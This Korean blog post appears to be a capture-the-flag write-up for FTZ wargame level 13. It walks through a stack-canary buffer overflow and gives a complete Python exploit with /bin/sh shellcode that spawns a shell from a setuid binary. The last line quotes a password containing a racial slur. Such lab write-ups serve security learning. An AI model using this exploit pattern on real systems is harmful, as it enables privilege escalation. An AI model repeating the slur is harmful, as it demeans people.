Wargame/FTZ

[FTZ]level13

D4tai1 2019. 9. 7.

일찍일어난 새는 역시나 피곤하네요.

 

조금 더 졸리기 전에 시작해 볼까요?

 

[그림1] hint 파일 확인

 

힌트를 보면

long형 타입의 i가 있고

 

i가 변경될 경우

프로그램을 종료시키네요!!

 

이 부분은 메모리 보호기법 중 하나로

Stack Guard라고 합니다.

 

스택 카나리를 메인함수 가장 위에 선언하여 

카나리가 변조되면 종료를 하게 됩니다.

 

우회하는 방법은 카나리의 원래 값을 찾아서

덮어씌워야 합니다.

 

[그림2] gdb로 attackme를 확인

위에 빨간 박스

[ebp-12]의 위치가 canary의 위치네요!!

 

그리고 파란박스에서 

[ebp+12]에서 [ebp-1048]로 

복사하네요.

 

[ebp+12]는 argv이고,

[ebp-1048]은 buf배열의 시작주소겠네요.

c소스를 보니 1024바이트만큼 선언했으므로

나머지 24바이트는 dummy입니다.

 

strcpy([ebp-1048], argv);

 

[그림3] buf의 주소 찾기

 

main+66에 breakpoint를 걸고

인자길이를 버퍼사이즈와 비슷하게 넣고

실행해 보겠습니다.

 

확인해보니

0xbfffd720 주소가

buf의 시작주소네요.

 

그림을 그려볼까요?

 

[그림3] stack 상태

이제 페이로드를 작성해볼까요?

 

NOP[500] + shellcode[25] + NOP[499] + dummy[12] + canary[4] + dummy[8] + SFP[4] + RET[4]

이와 같은 형식으로 만들어주면 되겠죠?

 

import os
import struct

p32 = lambda x:struct.pack('<L', x)

target = '/home/level13/attackme'
shellcode = '\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\
xe3\x31\xd2\x52\x53\x89\xe1\xb0\x0b\xcd\x80'
canary = 0x1234567
ret_addr = 0xbfffd720

payload = '\x90'*500
payload += shellcode
payload += '\x90'*499
payload += '\x90'*12
payload += p32(canary)
payload += '\x90'*12
payload += p32(ret_addr)

pid = os.fork()

if pid == 0:
        os.execv(target, (target, payload))
else:
        os.waitpid(pid, 0)

 

exploit.py는 작성했습니다.

 

[그림4] 공격스크립트를 이용한 공격

Level14 Password is "What that nigga want?".

'Wargame > FTZ' 카테고리의 다른 글

[FTZ]level15  (0) 2019.09.08
[FTZ]level14  (0) 2019.09.08
[FTZ]level12  (0) 2019.09.07
[FTZ]level11  (0) 2019.09.07
[FTZ]level10  (0) 2019.09.05

댓글